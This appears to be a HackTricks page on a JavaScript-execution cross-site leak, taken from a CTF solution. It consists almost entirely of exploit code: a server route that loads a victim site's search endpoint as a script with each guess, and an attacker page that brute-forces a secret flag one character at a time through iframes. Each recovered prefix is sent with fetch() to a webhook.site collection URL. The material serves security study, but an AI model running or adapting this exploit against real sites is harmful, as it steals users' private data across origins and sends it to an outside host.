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75 lines
2.0 KiB
Markdown
75 lines
2.0 KiB
Markdown
# JavaScript Execution XS Leak
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{{#include ../../banners/hacktricks-training.md}}
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```javascript
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// Code that will try ${guess} as flag (need rest of the server code
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app.get("/guessing", function (req, res) {
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let guess = req.query.guess
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let page = `<html>
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<head>
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<script>
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function foo() {
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// If not the flag this will be executed
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window.parent.foo()
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}
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</script>
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<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
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</head>
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<p>hello2</p>
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</html>`
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res.send(page)
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})
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```
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Main page that generates iframes to the previous `/guessing` page to test each possibility
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```html
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<html>
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<head>
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<script>
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let candidateIsGood = false
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let candidate = ""
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let flag = "bi0sctf{"
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let guessIndex = -1
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let flagChars =
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"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
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// this will get called from our iframe IF the candidate is WRONG
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function foo() {
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candidateIsGood = false
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}
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timerId = setInterval(() => {
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if (candidateIsGood) {
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flag = candidate
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guessIndex = -1
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fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
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}
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//Start with true and will be change to false if wrong
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candidateIsGood = true
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guessIndex++
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if (guessIndex >= flagChars.length) {
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fetch("https://webhook.site/<yours-goes-here>")
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return
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}
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let guess = flagChars[guessIndex]
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candidate = flag + guess
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let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
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candidate
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)}"></iframe>`
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console.log("iframe: ", iframe)
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hack.innerHTML = iframe
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}, 500)
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</script>
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</head>
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<p>hello</p>
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<div id="hack"></div>
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</html>
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```
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{{#include ../../banners/hacktricks-training.md}}
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